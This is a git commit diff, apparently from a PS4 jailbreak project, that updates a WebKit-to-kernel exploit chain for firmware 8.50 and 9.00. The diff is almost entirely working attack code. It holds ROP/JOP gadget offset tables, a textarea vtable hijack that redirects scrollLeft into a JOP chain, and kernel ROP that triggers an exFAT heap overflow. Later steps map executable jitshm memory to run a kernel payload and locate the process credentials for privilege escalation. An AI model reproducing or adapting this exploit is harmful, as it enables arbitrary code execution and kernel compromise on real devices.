This commit is contained in:
Kameleon
2024-02-08 22:44:02 -06:00
parent 4053af567a
commit e0f2ad0652
15 changed files with 360 additions and 390 deletions
+14 -14
View File
@@ -635,7 +635,7 @@ class Chain800 extends Chain800Base {
this.ta_clone.scrollLeft;
}
}
const Chain = Chain803;
const Chain = Chain800;
function init(Chain) {
[libwebkit_base, libkernel_base, libc_base] = get_bases();
@@ -788,6 +788,8 @@ function mlock_kchain(kchain) {
// pivots back to the original kernel stack with interrupts enabled
function push_krop_end(kchain) {
// leave
// jmp gadgets['sti; ret']
kchain.push_gadget('pop rcx; ret');
kchain.push_value(kchain.get_gadget('sti; ret'));
kchain.push_gadget('leave; jmp rcx');
@@ -922,7 +924,7 @@ function prepare_knote(kchain) {
// malloc/free until the heap is shaped in a certain way, such that the exFAT
// heap oveflow bug overwrites a struct klist
function trigger_oob(kchain) {
function trigger_oob(kchain, mmap_area) {
const chain = new Chain();
const num_kqueue = 0x1b0;
@@ -997,8 +999,9 @@ function trigger_oob(kchain) {
const kretval = kchain.return_value;
debug_log(`kchain retval: ${kretval}`);
debug_log(kchain.jmp_buf);
debug_log(new Addr(0x4000).read64(0));
if (!kretval.eq('0xdeadbeefbeefdead')) {
const check = mmap_area.read64(0);
debug_log(check);
if (kretval.eq(0)) {
die('heap overflow failed');
}
debug_log('kernel ROP chain ran successfully');
@@ -1091,10 +1094,9 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
const prot_rx = 5;
// PROT_READ | PROT_WRITE
const prot_rw = 3;
const map_shared = 1;
const MAP_SHARED = 1;
const exec_handle = chain.syscall('jitshm_create', 0, map_size, prot_rwx);
const write_handle = chain.syscall('jitshm_alias', exec_handle, prot_rw);
const exec_addr = new Addr(
@@ -1103,7 +1105,7 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
'0x900000000',
map_size,
prot_rx,
map_shared,
MAP_SHARED, // this flag is required
exec_handle,
0,
)
@@ -1115,7 +1117,7 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
'0x910000000',
map_size,
prot_rw,
map_shared,
MAP_SHARED, // this flag is required
write_handle,
0,
)
@@ -1217,12 +1219,10 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
// have the payload return EINVAL for us, read push_ret_einval() for why
const EINVAL = 22;
// kpatch(kbase, EINVAL, NULL)
// kpatch(EINVAL, NULL)
kchain.push_gadget('pop rdi; ret');
kchain.push_value(kbase);
kchain.push_gadget('pop rsi; ret');
kchain.push_constant(EINVAL);
kchain.push_gadget('pop rdx; ret');
kchain.push_gadget('pop rsi; ret');
kchain.push_constant(0);
push_krop_end(kchain);
@@ -1267,7 +1267,7 @@ async function kexploit() {
rax_ptrs,
scratch,
] = prepare_knote(kchain);
const [sd, kretval] = trigger_oob(kchain);
const [sd, kretval] = trigger_oob(kchain, mmap_area);
// offset relative to kernel base
const offset_k_socketops_fo_chmod = 0x1a76060;
@@ -1276,7 +1276,7 @@ async function kexploit() {
// setup for fchmod() kernel ROP chain
mmap_area.write64(8, jop_buffer);
rax_ptrs.write64(0x70, kchain.get_gadget(jop2));
rax_ptrs.write64(0x70, kchain.get_gadget(jop3));
const p_ucred = get_ucred_addr(kchain, sd, mmap_area);
debug_log(`p_ucred: ${p_ucred}`);
+75 -91
View File
@@ -42,7 +42,9 @@ const url = `${origin}:${port}`;
const syscall_array = [];
const offset_func_exec = 0x18;
const offset_textarea_impl = 0x18;
const offset_js_inline_prop = 0x10;
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8D8;
@@ -75,46 +77,55 @@ let libc_base = null;
// Chain implementation based on Chain803. Replaced offsets that changed
// between versions. Replaced gadgets that were missing with new ones that
// won't change the API.
//
// gadgets for the JOP chain
//
// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is
// because jop1-5 was the original chain used by the old implementation of
// Chain803. Now the sequence is ta_jop1-3 then to jop2-5.
//
// When the scrollLeft getter native function is called on PS4 8.50, rsi is the
// JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 0x20]
const ta_jop1 = `
mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x28]
call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no extra
// objects between the return address and the rbp that will be pushed by jop3
// later. So we pop the return address pushed by jop1.
// ta_jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by ta_jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
const ta_jop2 = `
pop rsi
jmp qword ptr [rax + 0x60]
`;
const ta_jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x68]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop3 = `
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop4 = `
const jop3 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop5 = `
const jop4 = `
push rdx
jmp qword ptr [rax]
`;
const jop6 = 'pop rsp; ret';
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -130,11 +141,6 @@ const jop6 = 'pop rsp; ret';
// pop rbp
const rop_epilogue = 'leave; ret';
const push_rdx_jmp = `
push rdx
jmp qword ptr [rax]
`;
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x000000000001ac7b,
'pop rbx; ret' : 0x000000000000c46d,
@@ -162,22 +168,23 @@ const webkit_gadget_offsets = new Map(Object.entries({
'neg rax; and rax, rcx; ret' : 0x00000000014c5ab4,
'adc esi, esi; ret' : 0x0000000000bcfa29,
'add rax, rdx; ret' : 0x0000000000d26d4c,
'push rsp; jmp qword ptr [rax]' : 0x0000000001e3cb0a,
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000015a74c6,
'pop rdi; jmp qword ptr [rax + 0x1d]' : 0x00000000021f4f09,
'mov qword ptr [rdi], rsi; ret' : 0x000000000018f010,
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c,
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b,
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f,
'mov rdx, rcx; ret' : 0x0000000000f2c94d,
[push_rdx_jmp] : 0x00000000021f10fd,
[jop2] : 0x00000000011c9df0,
[jop3] : 0x0000000000481769,
[jop4] : 0x00000000021f10fd,
[jop1] : 0x00000000002613e8,
[jop2] : 0x00000000021f930e,
[jop3] : 0x00000000011c9df0,
[jop4] : 0x0000000000481769,
[jop5] : 0x00000000021f10fd,
[jop6] : 0x0000000000073c2b,
[ta_jop1] : 0x0000000000c42d34,
[ta_jop2] : 0x00000000021f930e,
[ta_jop3] : 0x0000000001236532,
}));
const libc_gadget_offsets = new Map(Object.entries({
@@ -200,11 +207,15 @@ function get_bases() {
libwebkit_base
.add(offset_wk_stack_chk_fail)
;
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const stack_chk_fail_addr = resolve_import(
stack_chk_fail_import,
true,
true
);
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
const memcpy_addr = resolve_import(memcpy_import);
const memcpy_addr = resolve_import(memcpy_import, true, true);
const libc_base = find_base(memcpy_addr, true, true);
return [
@@ -229,8 +240,8 @@ class Chain850Base extends ChainBase {
this.flag = new Uint8Array(8);
this.flag_addr = get_view_vector(this.flag);
this.jmp_target = new Uint8Array(0x100);
rw.write64(this.jmp_target, 0x1d, this.get_gadget(push_rdx_jmp));
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
rw.write64(this.jmp_target, 0x1d, this.get_gadget(jop4));
rw.write64(this.jmp_target, 0, this.get_gadget(jop5));
// for save/restore
this.is_saved = false;
@@ -449,8 +460,6 @@ class Chain850Base extends ChainBase {
this.push_end();
this.run();
this.clean();
return this.return_value;
}
syscall(...args) {
@@ -462,79 +471,49 @@ class Chain850Base extends ChainBase {
this.push_end();
this.run();
this.clean();
return this.return_value;
}
}
// helper object for ROP
const rop_ta = document.createElement('textarea');
// Chain for PS4 8.50
class Chain850 extends Chain850Base {
constructor() {
super();
// sizeof JSC:JSObject, the JSCell + the butterfly field
const js_size = 0x10;
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
const js_ta_size = 0x20;
// start of the array of inline properties (JSValues)
const offset_js_inline_prop = 0x10;
// Sizes may vary between webkit versions so we just assume a size
// that we think is large enough for all of them.
const vtable_size = 0x1000;
const webcore_ta_size = 0x180;
const ta_clone = {};
this.ta_clone = ta_clone;
const clone_p = mem.addrof(ta_clone);
const ta_p = mem.addrof(rop_ta);
for (let i = js_size; i < js_ta_size; i += 8) {
clone_p.write64(i, ta_p.read64(i));
}
const webcore_ta = ta_p.readp(offset_textarea_impl);
const m_wrapped_clone = new Uint8Array(
make_buffer(webcore_ta, webcore_ta_size)
);
this.m_wrapped_clone = m_wrapped_clone;
// Replicate the vtable as much as possible or else the garbage
// collector will crash. It uses functions from the vtable.
const textarea = document.createElement('textarea');
this.textarea = textarea;
const js_ta = mem.addrof(textarea);
const webcore_ta = js_ta.readp(0x18);
this.webcore_ta = webcore_ta;
// Only offset 0x1c8 will be used when calling the scrollLeft getter
// native function (our tests don't crash).
//
// There is no need to restore the original vtable pointer later since
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
// getter is not used by the GC.
const vtable_clone = new Uint8Array(
make_buffer(webcore_ta.readp(0), vtable_size)
);
this.vtable_clone = vtable_clone
clone_p.write64(
offset_textarea_impl,
get_view_vector(m_wrapped_clone),
);
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
clone_p.write64(0, ta_p.read64(0));
// This implies we don't need to know the exact size of the vtable and
// try to copy it as much as possible to avoid a crash due to missing
// vtable entries.
//
// So the rest of the vtable are free for our use.
const vtable = new Uint8Array(0x200);
const old_vtable_p = webcore_ta.readp(0);
this.vtable = vtable;
this.old_vtable_p = old_vtable_p;
// 0x1c8 is the offset of the scrollLeft getter native function
rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
rw.write64(vtable, 0x1c8, this.get_gadget(ta_jop1));
rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
rw.write64(vtable, 0x60, this.get_gadget(ta_jop3));
// for the JOP chain
const rax_ptrs = new Uint8Array(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
this.rax_ptrs = rax_ptrs;
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x60, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
//rw.write64(rax_ptrs, 8, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x68, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
// value to pivot rsp to
rw.write64(rax_ptrs, 0x18, this.stack_addr);
rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
const jop_buffer = new Uint8Array(8);
const jop_buffer_p = get_view_vector(jop_buffer);
@@ -542,7 +521,7 @@ class Chain850 extends Chain850Base {
rw.write64(jop_buffer, 0, rax_ptrs_p);
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
rw.write64(vtable, 8, jop_buffer_p);
}
run() {
@@ -550,8 +529,12 @@ class Chain850 extends Chain850Base {
this.check_is_empty();
this.check_is_branching();
// change vtable
this.webcore_ta.write64(0, get_view_vector(this.vtable));
// jump to JOP chain
this.ta_clone.scrollLeft;
this.textarea.scrollLeft;
// restore vtable
this.webcore_ta.write64(0, this.old_vtable_p);
}
}
const Chain = Chain850;
@@ -674,12 +657,13 @@ function test_rop(Chain) {
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);
const res = chain.syscall('getuid');
chain.syscall('getuid');
debug_log(`return value: ${res}`);
if (res.eq(magic)) {
debug_log(`return value: ${chain.return_value}`);
if (chain.return_value.low() === magic) {
die('syscall getuid failed');
}
}
test_rop(Chain);
debug_log('Chain850');
test_rop(Chain);
+6 -5
View File
@@ -20,7 +20,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
import * as config from '../config.mjs';
import { Int } from '../module/int64.mjs';
import { debug_log, align, die } from '../module/utils.mjs';
import { debug_log, die } from '../module/utils.mjs';
import { Addr, mem } from '../module/mem.mjs';
import { KB, MB } from '../module/constants.mjs';
import { ChainBase } from '../module/chain.mjs';
@@ -535,7 +535,7 @@ class Chain900 extends Chain900Base {
// jump to JOP chain
this.textarea.scrollLeft;
// restore vtable
this.webcore_ta.write64(1, this.old_vtable_p);
this.webcore_ta.write64(0, this.old_vtable_p);
}
}
const Chain = Chain900;
@@ -545,7 +545,7 @@ function init(Chain) {
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_syscall_array(syscall_array, libkernel_base, 550 * KB);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
debug_log('syscall_array:');
debug_log(syscall_array);
Chain.init_class(gadgets, syscall_array);
@@ -619,7 +619,7 @@ function test_rop(Chain) {
die('if branch not taken');
}
const state2 = new Uint8Array(9);
const state2 = new Uint8Array(8);
debug_log('test if rax != 0');
chain.clean();
@@ -655,7 +655,7 @@ function test_rop(Chain) {
chain.clean();
// Set the return value to some random value. If the syscall worked, then
// it will likely change.
const magic = 0x4b4355467;
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);
chain.syscall('getuid');
@@ -666,4 +666,5 @@ function test_rop(Chain) {
}
}
debug_log('Chain900');
test_rop(Chain);
+9 -9
View File
@@ -17,13 +17,13 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// by janisslsm (John) from ps4-dev discord
import * as config from './config.mjs';
import * as config from '../config.mjs';
import { Int } from './module/int64.mjs';
import { debug_log, align, die } from './module/utils.mjs';
import { Addr, mem } from './module/mem.mjs';
import { KB, MB } from './module/constants.mjs';
import { ChainBase } from './module/chain.mjs';
import { Int } from '../module/int64.mjs';
import { debug_log, die } from '../module/utils.mjs';
import { Addr, mem } from '../module/mem.mjs';
import { KB, MB } from '../module/constants.mjs';
import { ChainBase } from '../module/chain.mjs';
import {
make_buffer,
@@ -31,10 +31,10 @@ import {
get_view_vector,
resolve_import,
init_syscall_array,
} from './module/memtools.mjs';
} from '../module/memtools.mjs';
import * as rw from './module/rw.mjs';
import * as o from './module/offset.mjs';
import * as rw from '../module/rw.mjs';
import * as o from '../module/offset.mjs';
const origin = window.origin;
const port = '8000';
+9 -9
View File
@@ -17,13 +17,13 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// by janisslsm (John) and barooney from ps4-dev discord
import * as config from './config.mjs';
import * as config from '../config.mjs';
import { Int } from './module/int64.mjs';
import { debug_log, align, die } from './module/utils.mjs';
import { Addr, mem } from './module/mem.mjs';
import { KB, MB } from './module/constants.mjs';
import { ChainBase } from './module/chain.mjs';
import { Int } from '../module/int64.mjs';
import { debug_log, die } from '../module/utils.mjs';
import { Addr, mem } from '../module/mem.mjs';
import { KB, MB } from '../module/constants.mjs';
import { ChainBase } from '../module/chain.mjs';
import {
make_buffer,
@@ -31,10 +31,10 @@ import {
get_view_vector,
resolve_import,
init_syscall_array,
} from './module/memtools.mjs';
} from '../module/memtools.mjs';
import * as rw from './module/rw.mjs';
import * as o from './module/offset.mjs';
import * as rw from '../module/rw.mjs';
import * as o from '../module/offset.mjs';
const origin = window.origin;
const port = '8000';